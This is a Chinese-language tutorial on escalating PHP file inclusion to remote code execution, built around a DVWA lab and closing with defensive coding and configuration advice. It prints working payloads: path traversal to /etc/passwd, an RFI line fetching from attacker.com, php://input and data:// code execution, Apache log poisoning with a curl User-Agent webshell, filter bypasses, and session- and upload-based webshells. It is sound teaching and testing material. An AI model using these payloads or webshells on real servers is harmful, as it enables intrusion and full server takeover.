1. 项目概述从“文件包含”到“远程代码执行”的惊险一跃在Web安全测试和渗透测试的日常工作中我们经常会遇到“文件包含”这个听起来平平无奇的概念。很多新手甚至会觉得不就是读取一下服务器上的文件吗能有多大危害然而正是这个看似简单的功能一旦被恶意利用就可能成为攻击者打开系统后门、实现远程代码执行RCE的致命跳板。我见过太多因为对文件包含漏洞认识不足导致整个服务器沦陷的案例。今天我们就来彻底拆解“RCE之文件包含”这不仅仅是一个漏洞的讲解更是一次关于攻击链构建思维的深度剖析。无论你是正在刷DVWA、CTFHub靶场的安全爱好者还是负责应用开发、希望从源头规避风险的工程师理解文件包含如何演变为RCE都是你知识体系中不可或缺的一环。简单来说文件包含漏洞允许攻击者将恶意构造的文件路径或内容注入到应用程序的文件包含函数中。当应用程序未对用户输入进行严格过滤并动态地包含这些文件时攻击者就有可能读取敏感文件、执行任意代码最终完全控制服务器。这个过程就是从一个小小的输入点逐步扩大战果最终实现RCE的经典路径。接下来我将结合多年一线实战和靶场演练的经验带你走完这条从漏洞发现到利用成功的完整链条。2. 核心原理与漏洞成因深度解析2.1 文件包含的本质动态代码复用与它的“阿喀琉斯之踵”要理解漏洞必须先理解功能设计的初衷。文件包含在PHP、JSP等服务器端脚本语言中非常常见其核心目的是为了实现代码的复用和模块化管理。比如将数据库连接配置、网站头部尾部、通用函数库等写入独立的文件然后在多个页面中通过include、require、include_once、require_oncePHP或jsp:includeJSP等函数引入。这样做的好处显而易见维护方便修改一处即可全局生效。然而这个设计的“阿喀琉斯之踵”就在于它的“动态性”。开发者有时为了灵活性会使用变量来动态决定包含哪个文件。例如一个简单的页面切换功能?php $page $_GET[page]; // 从URL参数获取页面名称 include(/pages/ . $page . .php); ?设想一下用户访问example.com/index.php?pagehome程序就会包含/pages/home.php文件并展示。这里的$page变量直接来源于用户可控的输入GET参数。在理想情况下用户只会传入home、about、contact这类预定义的值。但攻击者的思维从不局限于理想情况。漏洞的根源就在这里程序过度信任了用户的输入并且没有对输入内容进行任何有效的过滤或白名单校验。攻击者可以传入的远不止一个简单的文件名。2.2 包含漏洞的两大类型本地与远程文件包含漏洞主要分为两类它们的利用方式和危害程度有所不同2.2.1 本地文件包含本地文件包含是指包含的文件位于目标服务器本身。利用LFI攻击者可以尝试读取服务器上的敏感文件。经典Payload?page../../../../etc/passwd../是目录遍历符号用于向上跳转目录。通过组合多个../攻击者可以逃离Web应用程序的根目录如/var/www/html访问到系统级的文件。可以读取的敏感信息举例/etc/passwd查看系统用户列表Linux/Unix。/etc/shadow存储用户密码哈希需高权限但结合其他漏洞可能读取。C:\Windows\System32\drivers\etc\hostsWindows系统的主机文件。Web应用配置文件如config.php、database.ini里面可能含有数据库密码。网站源码通过包含.php文件有时能直接看到其源代码如果配置不当PHP代码不会被解析而是以文本形式显示从而发现更多漏洞。2.2.2 远程文件包含远程文件包含是LFI的“升级版”危害性更大。当PHP的allow_url_include配置项为On时现代PHP版本默认已关闭include等函数不仅可以包含本地文件还可以包含远程服务器上的文件。经典Payload?pagehttp://attacker.com/shell.txt攻击者在自己控制的服务器上放置一个包含PHP代码的文本文件shell.txt内容为?php phpinfo(); ?。当目标网站包含这个URL时会从远程获取shell.txt的内容并将其作为PHP代码执行从而直接输出phpinfo信息证明RCE成功。RFI的威力它让攻击者完全摆脱了对目标服务器上已有文件的依赖可以直接注入并执行任意代码是通往RCE最直接的路径。注意现代PHP环境5.2默认allow_url_include是Off的因此RFI在实际中较LFI少见但在一些老旧系统或特定配置下仍可能存在。CTF比赛中则经常为了考察知识点而开启。2.3 从文件包含到RCE的关键桥梁单纯的LFI读取文件虽然能泄露信息但还算不上RCE。要实现RCE我们需要一个“桥梁”将文件读取能力转化为代码执行能力。这个桥梁通常有以下几种形式日志文件注入这是最经典、最实用的LFI to RCE技巧。Web服务器如Apache的access.log、error.log或SSH等服务的日志会记录用户的请求信息。攻击者可以故意发送包含PHP代码的HTTP请求例如访问?php system($_GET[‘cmd’]); ?。这段代码会被原样记录到日志文件中。然后利用LFI漏洞去包含这个日志文件。由于日志文件被当作PHP文件解析其中记录的恶意代码就会被执行攻击者再通过?cmdwhoami这样的参数传递系统命令从而实现RCE。Session文件注入PHP的Session数据通常存储在服务器临时文件目录中如/tmp/sess_[sessionid]。如果攻击者能预测或获取到Session文件名并且能控制部分Session数据例如将用户名设置为?php phpinfo();?那么通过LFI包含这个Session文件同样可以执行代码。上传文件结合如果网站存在文件上传功能但只检查了文件后缀如只允许.jpg或者存在二次渲染绕过等漏洞攻击者可以上传一个内容为PHP代码的图片马shell.jpg。然后利用LFI漏洞通过绝对路径或相对路径去包含这个上传的文件例如?page./uploads/shell.jpg从而实现代码执行。PHP封装协议这是PHP提供的一个强大对攻击者而言特性。即使allow_url_include关闭一些PHP封装协议依然可以在include中使用。php://input允许攻击者将POST请求的原始体作为PHP代码执行。Payload?pagephp://input同时在POST Body里发送?php system(‘id’); ?。php://filter虽然主要用于读取文件源码例如?pagephp://filter/convert.base64-encode/resourceindex.php可以以base64编码形式读取源码避免被直接执行但在特定条件下也能辅助利用。data://类似于RFI允许直接包含数据流中的代码。例如?pagedata://text/plain,?php phpinfo();?。但它的使用通常也受allow_url_include限制。理解这些“桥梁”是理解文件包含漏洞最终如何导致RCE的核心。攻击者的思路就是找到一个我能控制内容、且能被包含函数读取的服务器文件然后将PHP代码写入这个文件最后通过包含漏洞去触发它。3. 实战环境搭建与漏洞复现纸上得来终觉浅绝知此事要躬行。要真正掌握一个漏洞没有比亲手把它复现出来更好的方法了。下面我将以最经典的DVWADamn Vulnerable Web Application靶场为例带你一步步搭建环境并复现文件包含漏洞的利用全过程。选择DVWA是因为它集成度高、漏洞典型非常适合学习和练习。3.1 靶场环境快速部署为了高度还原实战我推荐使用Docker来部署DVWA这能保证环境的一致性也最方便快捷。安装Docker如果你还没有安装Docker请根据你的操作系统Windows/macOS/Linux访问Docker官网下载安装包。安装完成后在终端运行docker --version确认安装成功。拉取并运行DVWA镜像打开终端执行以下命令docker run --rm -it -p 8080:80 vulnerables/web-dvwa--rm容器停止后自动删除保持环境干净。-it以交互模式运行。-p 8080:80将宿主机的8080端口映射到容器的80端口。vulnerables/web-dvwa这是官方维护的DVWA Docker镜像。访问与初始化在浏览器中访问http://localhost:8080。你会看到DVWA的安装页面。点击页面底部的“Create / Reset Database”按钮。这会初始化数据库并创建默认用户。使用默认账号登录用户名admin密码password。登录后在左侧菜单栏找到“DVWA Security”将安全级别设置为“Low”这样所有漏洞的防护都是最弱的方便我们练习。至此你的个人漏洞实验室就准备好了。3.2 漏洞点定位与基础利用在DVWA左侧菜单中找到“File Inclusion”并点击进入。你会看到一个简单的页面上面有两个链接“File 1”和“File 2”。查看页面URL你会发现类似?pagefile1.php这样的参数。这就是我们的攻击入口——page参数。第一步测试本地文件包含目录遍历将URL中的page参数修改为../../../../etc/passwd。完整的URL可能是http://localhost:8080/vulnerabilities/fi/?page../../../../etc/passwd。观察结果如果页面成功显示了Linux系统的/etc/passwd文件内容恭喜你LFI漏洞存在这说明程序完全没有过滤../这类目录遍历符号。第二步利用PHP封装协议读取源码有时直接包含.php文件我们看到的是执行后的HTML结果而非源代码。为了审计源码发现更多漏洞我们需要读取源代码。使用php://filter尝试包含当前目录下的index.php的源码。Payload?pagephp://filter/convert.base64-encode/resourceindex.php。解码获取源码页面会显示一串Base64编码的字符串。复制这串字符使用在线的Base64解码工具或者在你的终端里使用echo ‘编码字符串’ | base64 -d命令进行解码。解码后你就能看到index.php的原始PHP代码了。通过审计代码你可以理解漏洞产生的具体逻辑在DVWA Low级别下代码就是简单直接的include($_GET[‘page’]);。3.3 构建攻击链从LFI到RCE日志文件注入实战现在我们来完成最关键的一步将文件包含漏洞升级为远程代码执行。我们将采用最经典的Apache日志注入方法。原理回顾我们的目标是向Apache的访问日志access.log中写入一段PHP代码然后通过LFI漏洞去包含这个日志文件让其中的PHP代码被执行。操作步骤定位日志文件路径在DVWA的Docker容器中Apache日志通常位于/var/log/apache2/。我们可以通过LFI漏洞验证这一点。尝试包含?page../../../../var/log/apache2/access.log。如果页面显示了一堆HTTP访问记录包含你的浏览器User-Agent等信息说明路径正确并且我们有读取权限。实操心得日志路径可能因系统而异常见的还有/var/log/httpd/access_logRHEL/CentOS或C:\xampp\apache\logs\access.logWindows。在实战中可能需要多次尝试或结合信息收集来猜测。污染日志文件我们需要让一句PHP代码被记录到access.log中。最简单的方法是利用HTTP请求的User-Agent头。因为User-Agent会被记录在每一条访问日志中。打开Burp Suite、HackBar浏览器插件或者使用curl命令。使用curl示例在终端执行以下命令curl -A ?php system(\$_GET[cmd]);? http://localhost:8080/vulnerabilities/fi/?pagefile1.php-A参数用于设置User-Agent。我们将User-Agent设置为我们的PHP Webshell代码?php system($_GET[‘cmd’]);?。这段代码的意思是执行通过URL参数cmd传递的系统命令。注意事项确保PHP代码的引号正确转义。在命令行中使用双引号包裹整个User-Agent字符串而内部的PHP字符串引号使用单引号或者对$进行转义\$就像上面示例那样以避免Bash解释变量。验证日志污染再次通过LFI包含access.log文件?page../../../../var/log/apache2/access.log。仔细查看日志内容你应该能在最新的一条记录中看到你注入的PHP代码原样出现在User-Agent字段里。如果代码被正确记录它看起来可能像是一行乱码夹杂在日志中。执行远程命令这是最激动人心的时刻。现在我们不是简单地“读取”日志文件而是通过包含它来“执行”其中的PHP代码。构造最终的利用URLhttp://localhost:8080/vulnerabilities/fi/?page../../../../var/log/apache2/access.logcmdid关键点解析page参数指向被我们污染过的access.log文件。cmd参数这是我们注入的PHP代码system($_GET[‘cmd’])所期待的参数。我们传递的命令是id用于查看当前Web服务运行的用户身份。访问这个URL。如果一切顺利你将在页面上看到id命令的执行结果例如uid33(www-data) gid33(www-data) groups33(www-data)。这标志着你已成功通过文件包含漏洞获得了远程命令执行能力重要提示在实际渗透测试中access.log文件可能非常大包含它会导致PHP内存耗尽或超时。一个技巧是在注入代码后立即发送大量正常请求将你的恶意日志记录“挤”到日志文件末尾然后在包含时使用php://filter结合tail的变通方法或者直接利用error.log如果你能触发包含PHP代码的错误信息可能更稳定。在DVWA环境中由于日志较小直接包含通常可行。4. 高级利用技巧与绕过手段在实战和CTF比赛中开发人员往往会施加一些基本的防护。这时就需要我们掌握一些高级的绕过技巧。4.1 常见过滤与绕过方法过滤目录遍历符号../双写绕过如果代码使用str_replace(“../”, “”, $input)那么输入....//在经过替换后中间的../被移除两边的部分拼接起来又形成了../。编码绕过使用URL编码、双重URL编码、Unicode编码等。../的URL编码是%2e%2e%2f双重编码%252e%252e%252f%被编码为%25绝对路径替代如果知道目标文件的绝对路径可以直接使用如?page/var/www/html/config.php。添加固定后缀很多程序为了防止任意文件包含会为输入自动添加后缀例如include($page . ‘.php’)。空字节截断在PHP版本小于5.3.4时%00空字节可以截断后面的字符串。Payload?page../../../../etc/passwd%00这样程序实际包含的是../../../../etc/passwd%00.php但%00后的.php被忽略。注意此方法在高版本PHP中已失效。路径长度截断在特定环境下PHP版本、操作系统当路径长度超过一定限制时后面的部分会被截断。但这种方法很不稳定现代环境中基本无效。利用PHP封装协议php://filter在读取文件时后面的后缀会被当作协议的一部分处理而不是文件后缀。例如?pagephp://filter/readconvert.base64-encode/resourceindex即使程序添加了.php变成php://filter/.../resourceindex.php这仍然是一个合法的php://filter请求会去读取index.php文件。白名单限制程序只允许包含home.php、about.php等少数几个文件。协议叠加如果白名单检查是通过判断字符串是否包含home、about来实现可以尝试结合协议?pagephp://input但POST内容仍需可控。逻辑漏洞检查白名单后是否又进行了一次包含可能存在竞争条件或逻辑错误。这需要仔细审计代码。4.2 利用PHP Session文件当日志文件利用受阻时Session文件是一个很好的替代品。前提条件能够预测或获取Session ID。通常Session ID存储在客户端的Cookie中如PHPSESSID如果应用使用可预测的Session生成算法或者存在信息泄露就可能获取。能够向$_SESSION变量中写入可控数据。例如用户个人资料中的“昵称”字段会存入Session。利用步骤找到一个将用户输入存入$_SESSION的功能点如更新昵称。将昵称修改为PHP代码例如?php system($_GET[‘c’]);?。获取当前的Session ID从浏览器Cookie中查看。PHP的Session文件通常存储在/tmp/、/var/lib/php/sessions/等目录文件名格式为sess_[sessionid]。通过LFI包含这个Session文件?page../../../../tmp/sess_abc123def456。在包含时传递命令参数cwhoami。4.3 利用文件上传功能这是另一种非常常见的组合拳。前提条件存在一个文件上传点且存在任意文件上传漏洞或者上传的文件能被Web服务器以某种方式解析如.jpg文件被当作PHP解析的配置错误。利用步骤上传一个包含Webshell代码的文件如shell.jpg内容为?php eval($_POST[‘cmd’]);?。获取上传文件的存储路径。这可能需要目录遍历、信息泄露或猜测常见路径如/uploads/、/images/、/assets/。通过LFI漏洞包含这个上传文件?page./uploads/shell.jpg。使用中国菜刀、蚁剑等工具或者直接用curl以POST方式传递cmd参数连接你的Webshell。5. 防御策略与安全开发实践作为一名渗透测试人员我们挖掘漏洞但作为一名负责任的从业者我们更要知道如何修复它。文件包含漏洞的防御核心在于对用户输入保持绝对的不信任并进行严格的标准化和校验。5.1 输入验证与白名单机制这是最有效、最根本的防御手段。避免动态包含如果可能尽量不要使用用户输入直接控制包含的文件路径。使用静态映射或固定的选择结构。实施白名单如果必须动态包含请建立严格的白名单。// 正确的做法白名单 $allowed_pages array(‘home’, ‘about’, ‘contact’); $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./pages/’ . $page . ‘.php’); } else { include(‘./pages/error.php’); // 或者直接die(‘Invalid page!’); }实操心得白名单的键值最好使用数字ID而不是文件名。例如?page1后端映射1‘home.php’。这样用户完全无法接触到文件名本身。5.2 路径规范化与过滤如果白名单无法完全实施必须进行严格的过滤。规范化路径使用realpath()或basename()函数。$file $_GET[‘file’]; $base_dir ‘/var/www/html/includes/’; $real_path realpath($base_dir . $file); // 检查规范化后的路径是否仍然以 $base_dir 开头 if ($real_path strpos($real_path, $base_dir) 0) { include($real_path); } else { die(‘Access denied!’); }realpath()会解析所有的../符号和软链接返回绝对路径。然后检查这个绝对路径是否在我们允许的基目录下。过滤危险字符虽然不如白名单可靠但可以作为辅助。$input str_replace(array(‘../’, ‘..\\’, ‘php://’, ‘data://’, ‘expect://’) ‘’ $input); // 注意简单的str_replace容易被双写绕过需谨慎使用。5.3 安全配置与最小权限原则PHP配置确保php.ini中allow_url_include和allow_url_fopen设置为Off。这是关闭RFI的大门。设置open_basedir指令将PHP可操作的文件限制在特定的目录树内防止跨目录访问。Web服务器权限以非特权用户如www-data、nobody身份运行Web服务进程。确保Web根目录以外的文件如/etc/passwd、日志文件对该用户只有最小必要读取权限最好是不可读。日志文件安全将Web服务器日志目录的权限设置为仅对特定管理用户可读Web服务用户不可读。这样即使存在LFI也无法读取日志文件进行注入。5.4 代码审计与自动化扫描在开发阶段将include、require、include_once、require_once等函数列为代码审计的关键词。检查所有使用这些函数的地方其参数是否直接或间接来源于用户输入。使用安全工具在CI/CD流程中集成静态代码分析工具如SonarQube、Fortify SCA自动检测潜在的包含漏洞。定期渗透测试对线上系统进行定期的安全评估和渗透测试模拟攻击者手法主动发现包括文件包含在内的各类漏洞。文件包含漏洞的攻防是一场关于“信任边界”的博弈。攻击者想尽一切办法突破边界而防御者的任务就是筑牢这道边界。从最基础的白名单到系统层的权限管控每一层都不可或缺。理解攻击者的每一种绕过手法才能更好地设计出无懈可击的防御策略。在安全的世界里知其然更要知其所以然。